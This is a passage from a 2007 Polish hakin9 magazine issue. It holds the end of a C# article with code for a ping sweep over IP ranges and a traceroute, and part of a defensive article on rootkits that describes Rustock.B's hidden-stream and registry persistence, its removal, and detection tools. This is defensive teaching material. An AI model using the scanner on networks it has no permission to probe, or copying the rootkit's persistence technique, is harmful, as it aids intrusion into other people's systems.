];
oktet3
++)
for
(
byte
oktet4
=
start
[
3
];
oktet4
<=
end
[
3
];
oktet4
++)
{
IPAddress
address
=
new
IPAddress
(
new
byte
[]
{
oktet1
,
oktet2
,
oktet3
,
oktet4
}
);
AsyncPing
(
address
.
ToString
()
,
timeout
,
buffor
,
options
);
}
}
else
{
MessageBox
.
Show
(
"Błędnie wprowadzony końcowy adres IP"
);
textBox3
.
Focus
();
textBox3
.
SelectAll
();
}
}
else
{
MessageBox
.
Show
(
"Błędnie wprowadzony początkowy adres IP"
);
textBox2
.
Focus
();
textBox2
.
SelectAll
();
}
}
Listing 7.
Deklaracje prywatnych pól oraz metody zdarzeniowej
PingCompleted
private
Ping
trace
=
new
Ping
();
private
int
i
=
1
;
private
const
int
jumps
=
30
;
public
Form1
()
{
InitializeComponent
();
trace
.
PingCompleted
+=
new
PingCompletedEventHandler
(
trace_
PingCompleted
);
}
Rysunek 2.
Interfejs aplikacji, która
zawiera wszystkie metody z tego
artykułu
hakin9 Nr 12/2007
www.hakin9.org
Obrona
62
może sobie z tym nie poradzić. Pa-
miętajmy, że jest to programowa-
nie wielowątkowe, przez co garbage
collector zwyczajnie może zgłupieć.
Jest to błąd, który potencjalnie może
powodować wyciek pamięci. Aby te-
mu przeciwdziałać, referencję sen-
der rzutujemy na klasę
Ping
, potem
na interfejs IDisposable i na całości
wykonujemy metodę Dispose. Jeże-
li odnieśliśmy sukces (czyli ping zo-
stał wysłany), to możemy odczytać
odpowiedź, która zaszyta jest we
własności e.Reply klasy
PingReply
.
Proszę zwrócić uwagę na użytecz-
ną własność Status, za pomocą któ-
rej możemy sprawdzić status naszej
odpowiedzi. Przyda się to w dalszej
części artykułu, gdzie będziemy im-
plementować metodę umożliwiają-
cą śledzenie pakietu ICMP. Mamy
już gotowe metody, teraz wystarczy
ich użyć. Dla kontrolki button1 two-
rzymy domyślną metodę zdarzenio-
wą Click i umieszczamy w niej kod
z Listingu 5.
Dane, jakie będziemy wysyłać
w pakietach
ping
, muszą być tabli-
cą typu byte. Prostym sposobem jej
uzyskania jest zastosowanie kla-
sy
Encoding
. Zachęcam Czytelnika
do modyfikacji tego programu – po-
przez dodanie do interfejsu możliwo-
ści wyboru wielkości bufora, czasu
oczekiwania, ilości powtórzeń itd.
Dostępność
komputerów z żądanego
adresów IP
Skoro umiemy już wysyłać ping,
spróbujmy stworzyć bardziej skom-
plikowane aplikacje korzystające z
Listing 8.
Wysłanie pakietu ICMP z polem TTL o wartości 1
private
void
button3_Click
(
object
sender
,
EventArgs
e
)
{
byte
[]
buffor
=
Encoding
.
ASCII
.
GetBytes
(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
);
int
timeout
=
120
;
i
=
1
;
PingOptions
options
=
new
PingOptions
(
i
,
true
);
trace
.
SendAsync
(
textBox4
.
Text
,
timeout
,
buffor
,
options
,
false
);
listBox1
.
Items
.
Add
(
"Badanie drogi pakietu do "
+
textBox4
.
Text
);
}
Listing 9.
Metoda zdarzeniowa PingCompleted dla metody badającej drogę pakietów
void
trace_PingCompleted
(
object
sender
,
PingCompletedEventArgs
e
)
{
if
(
e
.
Error
!=
null
)
{
listBox1
.
Items
.
Add
(
"Błąd: "
+
e
.
Error
.
Message
);
return
;
}
if
(
e
.
Cancelled
)
{
listBox1
.
Items
.
Add
(
"Przerwano operację na życzenie użytkownika."
);
}
else
{
if
(
e
.
Reply
.
Status
==
IPStatus
.
TtlExpired
)
listBox1
.
Items
.
Add
(
"Skok "
+
i
.
ToString
()
+
" host: "
+
e
.
Reply
.
Address
.
ToString
());
if
(
e
.
Reply
.
Status
==
IPStatus
.
TimedOut
)
listBox1
.
Items
.
Add
(
"Skok "
+
i
.
ToString
()
+
" host: * Upłynał limit czasu żądania."
);
if
(
e
.
Reply
.
Status
==
IPStatus
.
Success
)
{
listBox1
.
Items
.
Add
(
"Skok "
+
i
.
ToString
()
+
" host: "
+
e
.
Reply
.
Address
.
ToString
());
return
;
}
if
(
i
++
<
jumps
)
{
PingOptions
options
=
new
PingOptions
(
i
,
true
);
byte
[]
buffor
=
Encoding
.
ASCII
.
GetBytes
(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
);
int
timeout
=
120
;
trace
.
SendAsync
(
textBox4
.
Text
,
timeout
,
buffor
,
options
,
null
);
}
else
{
listBox1
.
Items
.
Add
(
"Przekroczono maksymalną liczbę skoków (parametr TTL = "
+
jumps
.
ToString
()+
")"
);
}
}
}
C#.NET – diagnostyka sieci
hakin9 Nr 12/2007
www.hakin9.org
63
zaimplementowanej przez nas me-
tody
AsyncPing
. Na początek niech
będzie to program sprawdzający
dostępność w sieci komputerów
o adresach IP z zadanego zakresu.
W tym celu zmodyfikujemy nieco in-
terfejs naszej aplikacji. Do formy do-
damy pola textBox1 i textBox2 oraz
przycisk button2. Tworzymy dla nie-
go metodę zdarzeniową Click, która
widoczna jest na Listingu 6.
W pola textBox2 i textBox3 użyt-
kownik będzie mógł wprowadzić za-
kres adresów IP, jakie będzie chciał
sprawdzić. Dla elegancji sprawdza-
my, czy adresy IP są odpowiednie-
go formatu. Służy do tego statycz-
na metoda
TryParse
klasy
IPAddress
.
Jeśli adresy są błędne, wyświetlo-
ny zostanie odpowiedni komuni-
kat, a kursor zostanie przeniesiony
do pola, gdzie wystąpił błąd. Wysy-
łanie pinga zrealizujemy w potrój-
nej pętli for, która przebiegać bę-
dzie po kolejnych oktetach adresu
IP. Zamiana adresu IP na tablicę
bajtów jest możliwa dzięki metodzie
GetAddressBytes
. Z racji tego, że uży-
wamy funkcji asynchronicznych, od-
powiedzi mogą przyjść w dowolnej
kolejności, która zależy od czasu
odpowiedzi komputerów zdalnych.
Możemy to zmienić zapisując od-
powiedź do listy, którą potem łatwo
posortować (lub po prostu użyć me-
tody Send).
Śledzenie drogi pakietu
Ostatnim zagadnieniem, jakie zde-
cydowałem się opisać, jest śledze-
nie drogi pakietu. Będzie to symula-
cja polecenia traceroute (Unix/Linux)
lub tracert (Windows). Do tworzo-
nej przez nas aplikacji dodamy kolej-
ne kontrolki. Będzie to pole textBox4
i przycisk button3. Pełny wygląd
naszej aplikacji przedstawia Rysu-
nek 2.
Aby uzyskać drogę, jaką mu-
si pokonać pakiet podążając do
swego celu, wystarczy manipulo-
wać jego polem TTL. Rozpoczyna-
my od TTL równego 1 i – jeśli nie
dotrzemy do celu – zwiększamy
TTL o 1 aż do pewnej z góry usta-
lonej wartości. Na początku do na-
szej aplikacji dodamy trzy prywat-
ne pola. Pierwsze jest referencją
klasy
Ping
, której użyjemy przy
badaniu drogi pakietu. Zmienna
i będzie przechowywała aktualną
wartość TTL dla wysłanego pakie-
tu, a stała jumps wyznacza maksy-
malną liczbę przeskoków pomię-
dzy nami a hostem docelowym.
W konstruktorze formy dodamy
jeszcze definicję nowej metody
zdarzeniowej odpowiedzialnej za
zdarzenie
PingCompleted
referencji
trace. Zabiegi te przedstawione są
na Listingu 7.
Teraz wysyłamy pierwszy pa-
kiet z polem TTL ustawionym na
1 za pomocą konstruktora klasy
PingOptions
(patrz Listing 8).
Ostatnią rzeczą, jaką musimy
zrobić, jest oprogramowanie zda-
rzenia
PingCompleted
dla referencji
trace (patrz Listing 9).
Jak zwykle na początku spraw-
dzamy, czy działanie aplikacji nie
zostało przerwane, bądź nie wy-
stąpił błąd. Dalej wystarczy zbadać
status odpowiedzi i postąpić od-
powiednio w zależności od niego.
Jeżeli status jest oznaczony jako
TtlExpired
, oznacza to, że wpraw-
dzie w zadanej liczbie skoków pa-
kiet nie osiągnął celu, ale napotka-
ny po drodze host odpowiedział na
pakiet ICMP. Jeśli dostaniemy sta-
tus
TimedOut
oznacza to, że przy
aktualnym skoku host, którego na-
potkaliśmy na drodze pakietu, nie
chce (bądź nie może) odpowie-
dzieć. Jeśli liczba skoków (zmien-
na i) nie przekroczyła swojej war-
tości maksymalnej (stała
jumps
), to
zwiększamy ją o 1 i wysyłamy ping
jeszcze raz. W przypadku, kiedy
udało nam się osiągnąć cel, wypi-
sujemy odpowiedni komunikat i koń-
czymy działanie metody.
Podsumowanie
Jak widać, platforma .NET posia-
da wiele bardzo dobrze skonstru-
owanych klas służących do progra-
mowania sieciowego. Programista,
który wybierze język C# i techno-
logię .NET, z pewnością doceni
łatwość i szybkość tworzenia te-
go typu aplikacji. Podczas testów
programu wykorzystującego opisa-
ne w tym artykule metody zauwa-
żyłem, że ciężko jest znaleźć w In-
ternecie publiczny serwer, który
odpowiada na pinga. Jest to zabez-
pieczenie przed zmasowanym ata-
kiem typu denial-of-service za po-
mocą pakietów ICMP. Po lekturze
tego artykułu, Czytelnik może bez
specjalnego wysiłku stworzyć pro-
gram, który posłuży do podobnych
ataków, choć nie to było moją in-
tencją w trakcie pisania tekstu. Jak
zwykle, na koniec zachęcam do te-
stów i rozwijania opisanych tu kon-
cepcji. l
O autorze
Sławomir Orłowski – z wykształcenia fizyk. Obecnie jest doktorantem na Wydziale Fi-
zyki, Astronomii i Informatyki Stosowanej Uniwersytetu Mikołaja Kopernika w Toruniu.
Zajmuje się symulacjami komputerowymi układów biologicznych (dynamika molekular-
na) oraz bioinformatyką. Programowanie jest nieodzowną częścią jego pracy nauko-
wej i dydaktycznej. Ma doświadczenie w programowaniu w językach C, C++, Delphi,
Fortran, Java i Tcl. Z językiem C# i platformą .NET pracuje od 2002 roku. Jest autorem
książek informatycznych. Strona domowa: http://www.fizyka.umk.pl/~bigman/.
Kontakt z autorem: bigman@fizyka.umk.pl
W Sieci
• http://www.codeproject.com – zbiór bardzo wielu przykładów aplikacji dla platformy
.NET i nie tylko. Naprawdę godny polecenia,
• http://www.codeguru.pl – polska strona dla programistów .NET.,
• http://msdn2.microsoft.com – dokumentacja MSDN. Znajdziesz tu opisy wszyst-
kich klas, własności i metod, jakie zawiera platforma .NET wraz z przykładowymi
programami.
www.hakin9.org
hakin9 Nr 12/2007
64
Obrona
R
ootkit jest narzędziem pomocnym ha-
kerom we włamaniach do systemów in-
formatycznych, potrafi ukryć pliki oraz
procesy, które osoba przygotowująca atak
chce uczynić niewidocznymi dla użytkownika.
Rootkity infekują jądro systemu – ukrywają
siebie oraz inny złośliwy program (na przykład
trojana), za pomocą którego atakujący może
uzyskać dostęp do zainfekowanej maszyny.
Wykrycie rootkita w systemie, czy to Windows
czy Unix/Linux, nie należy do zadań łatwych,
lecz jeszcze trudniejsze jest skuteczne pozby-
cie się nieproszonego gościa. Rootkity nie po-
trafią same się replikować. W związku z tym,
aby z nich korzystać, hakerzy doklejają ich kod
do wszelkiego rodzaju trojanów, backdoorów
i innego rodzaju robaków, które świetnie po-
trafią się mnożyć. Dzięki temu napastnicy
są w stanie doprowadzić do masowego roz-
przestrzenienia się rootkita.
W miesiącu sierpniu tego roku ukazały się
informacje publikowane przez różne strony in-
ternetowe na temat nowego rootkitopodob-
nego oprogramowania w kolejnym produkcie
Sony – napędzie USB typu pendrive wyposa-
żonym w czytnik linii papilarnych. Źródłem in-
formacji jest fiński producent oprogramowania
antywirusowego F-Secure, którego pracowni-
cy wykryli, iż oprogramowanie produktu Sony
MicroVault USM-F tworzy ukryty katalog na
dysku. Nie ma do niego dostępu z Windows API
i nie widzą go także niektóre programy antywi-
rusowe. Sony utrzymuje, że katalog jest tworzo-
ny w celu ukrycia odcisków użytkownika przed
dostępem osób niepowołanych, jednak według
F-Secure możliwe jest jego wykorzystanie do in-
nych celów i to już budzi obawy zarówno użyt-
kowników, jak i specjalistów zajmujących się tego
typu zagrożeniami. Warto zadać sobie pyta-
nie, dlaczego duże koncerny próbują stosować
Rootkity – skuteczna
obrona
Grzegorz Błoński
stopień trudności
Głośno o rootkitach zaczęło się mówić od czasu skandalu w roku
2005. Ujawniono wtedy, że firma Sony BMG Music Entertaiment
do ochrony praw własności wykorzystała rootkita (aries.sys)
umieszczonego w oprogramowaniu XCP Content Protection
DRM. Tak naprawdę rootkity zaczęły się pojawiać w systemach
komputerowych w połowie lat 90-tych XX wieku.
Z artykułu dowiesz się
• co to jest rootkit,
• jakie są rodzaje rootkitów,
• jak się bronić przed rootkitami.
Co powinieneś wiedzieć
• znać obsługę linii poleceń w systemach Win-
dows i Unix/Linux,
• umieć korzystać z edytora rejestru regedit.exe.
Rootkity – skuteczna obrona
hakin9 Nr 12/2007
www.hakin9.org
65
takie rozwiązania w swoich produk-
tach, czym narażają ich użytkowni-
ków na niepotrzebne ryzyko.
Rodzaje rootkitów
• Kernel-mode rootkit – działający
w jądrze systemu program, który
potrafi ukryć swoją obecność po-
przez podmianę fragmentu kodu
jądra. Najczęściej można zainfe-
kować się takim rodzajem root-
kita poprzez instalację sterowni-
ków z nieznanego miejsca w sieci
(dotyczy to w szczególności sys-
temów Windows). W przypadku
Linuksa sytuacja jest podobna,
ponieważ tego typu rootkity in-
fekują jądro poprzez mechanizm
LKM (Loadable Kernel Modules),
ładowalnych modułów.
• Application rootkit – podmienia-
jący pliki binarne aplikacji rootkit,
niemający dostępu do jądra sys-
temu.
• Memory-based rootkit – rezydu-
jący w pamięci operacyjnej kom-
putera, groźniejszy dla serwerów,
ponieważ te są dużo rzadziej re-
startowane niż komputery. Trud-
ny do wykrycia, ponieważ więk-
szość programów zwalczających
rootkity przeszukuje raczej zaso-
by dyskowe, a nie pamięć RAM.
• Persistent rootkit – łatwy do wy-
krycia, ponieważ nie ukrywa się.
Zmieniając wpisy w rejestrze sys-
temu zakłóca pracę plików sys-
temowych, a przez to powoduje
niestabilną pracę systemu.
• User-mode rootkit – jego działal-
ność ograniczona jest prawami
użytkownika, na których niekie-
dy łatwo jest mu się zainstalować
w systemie.
• Root-mode rootkit – rootkit, który
korzysta z praw administratora/
roota (w zależności od systemu,
w jakim się znajdzie).
Poza powyższym podziałem zwią-
zanym z trybem pracy, spotyka się
inne rodzaje tych złośliwych pro-
gramów. Istnieją zagrożenia związa-
ne z rootkitami, które mogą się za-
szyć w pamięci podzespołów kom-
putera. John Heasman z Next Ge-
neration Security Software w swo-
ich publikacjach opisuje możliwość
umieszczenia kodu rootkita w pamię-
ci BIOS płyty głównej oraz karty gra-
ficznej. Z jego artykułów wnioskować
można, iż praktycznie każdy podze-
spół komputera wyposażony nawet
w niewielką ilość pamięci, którą moż-
na zapisać, może zostać wykorzysta-
ny jako nośnik – a zarazem kryjówka
– dla rootkita. Heasman proponuje
jako zabezpieczenie przed rootkita-
mi stosowanie w komputerach ukła-
dów TPM (Trusted Platform Module),
które są dziełem Trusted Computer
Group. Układy TPM umożliwiają mię-
dzy innymi szyfrowanie haseł dostę-
pu. Poza tym podczas uruchamia-
nia komputera układ TPM sprawdza
zawartość BIOSu, którą porównuje
z tym, co ma zapisane w rejestrach
PCR (Platform Configuration Regi-
sters). Większość układów TPM pro-
dukowanych jest w firmach Infineon,
National Semiconductor oraz Broad-
com. W układy te wyposaża swoje
produkty między innymi IBM, ale tak-
że Dell, HP i Toshiba.
Pe386 na widelcu
Niektóre rootkity (na przykład Pe-386,
znany też jako Rustock.B vel lzx32
Rysunek 1.
Interfejs użytkownika programu AVG Anti-Rootkit
Rysunek 2.
Rkhunter uruchomiony na nierozpoznanym systemie
hakin9 Nr 12/2007
www.hakin9.org
Obrona
66
vel msguard) działające w try-
bie kernel-mode wykorzystują do
ukrywania funkcję ADS (Alternate
Data Streams), która jest dostęp-
na w systemie plików NTFS. ADS to
dodatkowe strumienie danych, które
można zapisywać – jako niewidocz-
ne – pod innym plikiem na dysku.
Dane w strumieniu są niewidoczne
dla użytkownika, nie zmienia się na-
wet raportowany przez system ope-
racyjny rozmiar pliku, pod którym
jest zapisany strumień. Pliki w stru-
mieniu zapisywane są po dwukrop-
ku, czyli na przykład plik o nazwie
xyz.sys
może zostać powiększony
o strumień z plikiem zzz.qqq, którego
nazwa będzie mieć postać xyz.sys:
zzz.qqq. Podstawowy plik xyz.sys
jest widoczny z poziomu Eksplore-
ra Windows czy linii komend, lecz
strumienie ADS i zapisane w nich
pliki nie mogą być bezpośrednio za-
obserwowane.
Rustock.B jest rodzajem konia
trojańskiego, który został wyposa-
żony w mechanizmy rootkita w celu
ukrycia swej obecności w systemie.
Nie można się nim zarazić bezwied-
nie. To użytkownik, pobierając pliki
w sieciach peer-to-peer, ze stron
z warezami, czy otwierając podej-
rzany załącznik w e-mailu urucha-
mia tego konia trojańskiego. Jeśli
nie zostanie on natychmiast wykry-
ty przez potrafiący go rozpoznać
program antywirusowy, uruchamia
rootkita, który zaszywa się w syste-
mie. Złośliwy kod tworzy strumień
danych ukrytych na ścieżce: %windir
%\System32:lzx32.sys po czym do-
daje ukrytą usługę o nazwie pe386
oraz ścieżce do pliku jak powyżej.
Kolejnym krokiem jest dodanie wpi-
sów w rejestrze (Ramka Dodanie
wpisów w rejestrze).
Ostatni wpis zawiera ciąg Win23
lzx files loader i tu nie ma błędu, to
jest w istocie 23.
Następnie rootkit modyfikuje wy-
brane obszary jądra systemu, żeby
zmienić funkcjonowanie poniższych
funkcji API:
•
ZwOpenKey,
•
ZwEnumatereKey,
•
ZwQueryKey,
•
ZwCreateKey,
•
ZwSaveKey,
•
ZwDeviceIoControlFile,
•
ZwQuerySystemInformation,
•
ZwInitializeRegistry.
Rootkit wyszukuje w obrazie jądra
systemu ciągu FATAL_UNHAND-
LED_HARD_ERROR i nadpisuje go
swoim kodem. Zmienia funkcjono-
wanie modułów systemowych (ndis.
sys, wanarp.sys, tcpip.sys) odpowie-
dzialnych za komunikację sieciową
– tak, by móc omijać firewalle i do-
konywać ewentualnych zmian za-
wartości wysyłanych pakietów TCP/
IP. Jego obecność w systemie mo-
że być rozpoznana po wzmożonym
ruchu na interfejsach sieciowych,
ponieważ jednym z jego zadań jest
praca jako ukryty serwer proxy.
Często też wykorzystywany jest do
wysyłania spamu, zatem dodatko-
wo naraża komputer-ofiarę na jego
otrzymywanie. Nierzadko zdarza się,
że zainfekowany system daje nam
sygnały, iż dzieje się w nim coś
niedobrego – ciągłymi BSODami,
które naprawdę potrafią uprzykrzyć
życie. Wiele osób używa kompute-
ra nie podejrzewając, że spowol-
nione działanie systemu to właśnie
taki nieproszony gość.
Aby pozbyć się Rustocka. B z kom-
putera, należy wykonać kilka czynno-
ści zależnych od systemu operacyj-
nego. Jeśli nasz system to Windows
NT/2K/XP/2K3, to w pierwszej ko-
lejności musimy wyłączyć funkcję
Przywracanie Systemu. W przypad-
ku systemów Windows 9x pomijamy
ten krok. Następnie należy urucho-
mić komputer za pomocą płyty in-
stalacyjnej i po ukazaniu się okna
Rysunek 3.
Rezultat pracy Rkhuntera
Rysunek 4.
Okno programu sigverif.exe
Rootkity – skuteczna obrona
hakin9 Nr 12/2007
www.hakin9.org
67
dialogowego z wyborem operacji
wcisnąć R, aby przełączyć się do
konsoli odzyskiwania. W kolejnym
oknie należy wybrać zainstalowany
system, do którego chcemy się zalo-
gować i podać hasło administrato-
ra zatwierdzając je klawiszem
Enter
.
W linii poleceń należy wpisać polece-
nie
DISABLE pe386
i zatwierdzić klawi-
szem
Enter
, co spowoduje zatrzyma-
nie usługi, którą wcześniej uruchomił
rootkit. Teraz wystarczy w trybie awa-
ryjnym przeskanować system przy
pomocy programu antywirusowego
z najnowszymi bazami wirusów w ce-
lu odnalezienia tego, co zostało na
dysku po działalności rootikta.
Na koniec warto przy użyciu
edytora rejestru pozbyć się wpisów,
których dokonał rootkit podczas za-
rażania systemu. W sieci można
znaleźć program o nazwie Rustbfix.
exe, który potrafi wykryć oraz usu-
nąć tego rootkita. Niestety w przy-
padku mojego systemu aplikacja ta
zawiodła. Dopiero po wykonaniu
wcześniej opisanych kroków udało
mi się usunąć zagrożenie całkowi-
cie.
Frank Boldewin na swojej stronie
www.reconstructer.org opublikował
obszerną analizę Rustocka.B, łącz-
nie z jego kodem źródłowym. Artykuł
ten nosi tytuł A Journey to the Cen-
ter of Rustock.B Rootkit. Polecam go
wszystkim czytelnikom pragnącym
dowiedzieć się jeszcze więcej na te-
mat tego rootkita.
Narzędzia
Ze względu na zagrożenia, jakie nie-
sie za sobą możliwość zainfekowania
rootkitami, każdy administrator pra-
gnie zadbać o bezpieczeństwo sys-
temów, którymi administruje. Metody
obrony przed rootkitami możemy po-
dzielić na trzy grupy:
• zapobieganie,
• wykrywanie,
• usuwanie.
Zapobieganie – jakkolwiek możliwe
– jest bardzo trudne do zrealizowa-
nia, ponieważ kod rootkitów jest,
jak wiadomo, wciąż udoskonalany
i rozwijany. Wykrywanie jest reali-
zowane za pomocą odpowiednich
programów lub też przy użyciu spe-
cjalizowanych urządzeń przezna-
czonych do tego celu.
W systemach operacyjnych Win-
dows w celu zapobiegania infekcjom
rootkitów mamy możliwość między
innymi zastosowania programów róż-
nych producentów, które w większo-
ści przypadków są darmowe, a ich
nazwa zawiera słowa Anti-Rootkit.
Przykładem niech będzie aplikacja
AVG Anti-Rootkit.
Praktycznie każdy producent op-
rogramowania antywirusowego dla
systemów Windows – czy to darmo-
wego, czy też komercyjnego – ma
w swojej ofercie również programy
tego typu. Także Uniksy i Linuksy nie
są pozbawione podobnych narzędzi,
najbardziej znanymi i najczęściej
używanymi są chkrootkit oraz rkhun-
ter.
Na Rysunku 2. widać, że program
nie rozpoznał systemu operacyjne-
go skanowanego komputera. Nie
przeszkadza mu to jednak w pracy
– nawet w przypadku nieodnalezie-
nia kluczy MD5.
Na kolejnym Rysunku 3. można
zobaczyć, że Rkhunter po zakończo-
nym skanowaniu wyświetla informa-
cje o ilości przeskanowanych plików,
ilości podejrzanych plików i aplikacji
(w przypadku, gdy je wykryje) oraz
o czasie skanowania.
Opisane powyżej aplikacje dla
Windows oraz Unix/Linux podczas
skanowania systemu korzystają z te-
chniki zwanej cross-check, która po-
lega na porównywaniu listy plików
zwracanej przez system operacyjny
z tym, co na naszym dysku faktycz-
nie się znajduje. W przypadku, gdy
rootkit zainfekuje system, potrafi się
on skutecznie maskować i niestety
nie zawsze metoda ta pozwala na
jego wykrycie.
W ramach projektu Strider au-
torstwa Microsoftu powstała apli-
kacja Ghostbuster, która podcho-
dzi do tematu wykrywania rootkitów
nieco inaczej. Program (niestety, na
razie nie upubliczniony) porównuje
listę plików w zainfekowanym syste-
mie z listą plików ze zdrowego sys-
temu. Porównanie takie pozwala na
wykrycie plików (oraz uruchamia-
nych przez nie procesów), których
w systemie nie powinno być. Wy-
mogiem wykorzystania tej aplikacji
jest jej uruchomienie w niezainfeko-
wanym systemie (aby mieć możli-
wość wiarygodnego porównania).
Aby tego dokonać, możemy sko-
rzystać z programu BartPE i z jego
pomocą zbudować bootowalnego
CD z systemem Windows oraz pro-
gramami do wykrywania rootkitów.
Strider Ghostbuster jest jeszcze
niedostępny, ale program Rootkit
Revealer firmy Sysinternals wyko-
rzystuje bardzo podobne mechani-
zmy, można więc skorzystać wła-
śnie z niego.
W sieci dostępna jest cała ga-
ma przeróżnych programów pozwa-
lających na znalezienie, zidentyfi-
kowanie i często usunięcie rootkita
– jak chociażby RootKit Unhooker,
Sophos Antirootkit, UnHackMe, Root-
Kit Hook Analyzer, IceSword, Helios,
DarkSpy, F-Secure BlackLight czy
polskie Gmer oraz System Virginity
Verifier (ten ostatni autorstwa Joan-
ny Rutkowskiej).
Użytkownicy systemów unik-
sowych także mają możliwość
uruchomienia aplikacji chkrootkit
czy rkhunter z bootowalnej płyty
Rysunek 5.
Pomoc programu sfc.exe w konsoli
hakin9 Nr 12/2007
www.hakin9.org
Obrona
68
CD. W sieci można znaleźć także co
najmniej kilka bootowalnych dystry-
bucji Linuksa zawierających progra-
my chkrootkit oraz rkhunter. Jedną
z nich jest InSeRT (Inside Security
Rescue Toolkit), którą można pobrać
ze strony http://www.inside-security.
de. Kolejna dystrybucja to GRML
(http://grml.org), bazująca na Knop-
piksie i wyposażona w blisko 2500
pakietów, wśród których znajduje się
między innymi chkrootkit.
Sprzęt widmo
Do wykrycia rootkita w systemie
można również użyć specjalnie za-
projektowanego sprzętu. Niestety,
z racji braku możliwości zakupu
i praktycznego wykorzystania tego
typu urządzeń ograniczę się do ich
ogólnego opisu. Urządzenie o nazwie
Tribble powstało na potrzeby pro-
wadzenia śledztwa w przypadkach
cyfrowych przestępstw. W jego pro-
jektowaniu brali udział Joe Grand
z Grand Idea Studio oraz Brian Ca-
rrier z Digital-Evidence. Zbudowano
je na bazie procesora Intel IQ80-
303 wyposażonego między innymi
w mostek PCI-to-PCI, pozwalający
na transfer danych z prędkościami
do 528MB/s. Instaluje się je w ser-
werze lub komputerze, na którym
istnieje podejrzenie ataku, w celu
zapisania zawartości pamięci RAM
do późniejszej analizy. Karta PCI za-
instalowana w systemie po urucho-
mieniu procedury zapisu pamięci
dokonuje zrzutu zawartości pamięci
RAM oraz rejestrów CPU. Zapisaną
zawartość pamięci można więc anali-
zować pod kątem przeróżnych kryte-
riów, między innymi przeprowadzając
testy na obecność rootkitów.
Kolejne urządzenie o podob-
nych możliwościach to RAM Captu-
re Tool, wyprodukowany przez BBN
Technologies Inc. Na temat tego
urządzenia można powiedzieć tyle,
że pracuje również na szynie PCI,
lecz szczegółowe informacje na je-
go temat nie są ogólnie dostępne.
Działania
prewencyjne
Działalność rootkitów w systemie
jest przez nie same maskowana po
zainstalowaniu się. Chcąc zadbać
o sprawność systemu, możemy pos-
łużyć się narzędziem o nazwie Tri-
pwire w celu wykrycia prób mody-
fikacji plików systemowych. Jest to
aplikacja z rodzaju IDS, która po-
zwala na wykrycie działalności in-
truza w systemie poprzez kontrolę
integralności plików systemowych.
Sprawdza ona, czy pliki nie zosta-
ły zmodyfikowane, podmienione na
inne – często właśnie zainfekowane
– wersje, czy też usunięte.
Tripwire tworzy bazę danych za-
wierającą informacje na temat atry-
butów plików i katalogów (łącznie
z ich sygnaturami MD5), którą moż-
na zapisać na jakimś nośniku w celu
późniejszego odczytu dla dokonania
porównania.
Dla zapewnienia maksymalne-
go stopnia pewności wyników po-
równywania, Tripwire należy zain-
stalować w systemie jak najszybciej
– najlepiej zaraz po zainstalowaniu
systemu operacyjnego. Dla syste-
mów Unix/Linux aplikacja jest dar-
mowa, niestety dla systemów Win-
dows dostępna jest tylko wersja ko-
mercyjna.
W celu sprawdzenia, czy nasz
system nie został zainfekowany ro-
otkitem, możemy się posłużyć także
innymi narzędziami. Zainfekowany
system, w którym działa już root-
kit, jest przez niego modyfikowany
w taki sposób by programy antywi-
rusowe czy antyrootkitowe nie wy-
kryły go. Z pomocą przyjść mogą
narzędzia wbudowane w system.
W przypadku Windows warto tu wy-
mienić dwa z nich.
Windows Signature Verification
(sigverif.exe) to program, który dba
o kompletność i integralność syste-
mu. Pozwala na przywracanie usu-
niętych przez użytkowników plików,
kontrolę spójności całości systemu,
sprawdza, czy pliki wykonywalne
*.exe, *.dll oraz sterowniki posiada-
ją podpis cyfrowy, a także weryfiku-
je podpisy/sygnatury pliku z posia-
danymi bazami danych.
W przypadku wykrycia zmian
w podpisanym pliku lub pojawienia
się pliku, który nie jest rozpoznawa-
ny (w naszym przypadku będzie to
pojawienie się pliku rootkita w syste-
mie), wyświetlana jest informacja.
System File Checker (sfc.exe)
to aplikacja działająca w linii po-
leceń. Służy do kontroli chronio-
nych plików systemowych. W przy-
padku wykrycia zmienionego pliku
System File Checker pyta, czy ma
przywrócić oryginalną wersję pliku
z płyty instalacyjnej.
Uruchomienie programu z para-
metrem /scanboot spowoduje spraw-
Dodanie wpisów w rejestrze
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Security
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Imagepath=”\??\%windir%\System32:lzx32.sys”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Start=”1”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Group=”Base”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Extparam=””
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Security\Security=”(binary registry data)”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Errorcontrol=”0”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Type=”1”
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\pe386\Displayname=”Win23 lzx files loader”
Rootkity – skuteczna obrona
hakin9 Nr 12/2007
www.hakin9.org
69
dzanie wszystkich chronionych plików
systemowych przy każdym rozru-
chu. (Uwaga! Może to spowodować
znaczne wydłużenie czasu rozru-
chu systemu.) Jest to zawsze jakaś
forma ochrony i weryfikacji tego, czy
w systemie pojawiły się zmiany mo-
gące być efektem działania rootkita
bądź innego złośliwego programu.
W celu obrony przed atakami ha-
kerów powstały programy określane
mianem HIPS (Host Intrusion Preven-
tion System). Ponieważ z założenia
spełniają one rolę systemu zapo-
biegania atakom, częściowo poma-
gają chronić system także przed
rootkitami. Przykładami takich na-
rzędzi dla systemów Windows są
ProcessGuard i AntiHook. Obie apli-
kacje pozwalają zablokować możli-
wość uruchamiania nowych progra-
mów, zabezpieczają pamięć RAM,
blokują możliwość instalacji niechcia-
nych programów, kontrolują urucha-
miane aplikacje. Wprawdzie nie moż-
na takim programom ufać całkowicie,
jednak spełniają one swoje zadania
i pozwalają czuć się odrobinę pew-
niej. Dla Linuksa istnieje aplikacja
o podobnym działaniu, nazywająca
się LIDS (Linux Intrusion Detection
System). Program ten jest rozszerze-
niem dla jądra Linuksa, implementują-
cym wiele narzędzi, których normalnie
nie znajdziemy w jądrze. Obsługuje
między innymi mechanizm obowiąz-
kowej kontroli dostępu (Mandatory
Access Control – MAC), zawiera de-
tektor skanowania portów, zapewnia
ochronę plików oraz procesów.
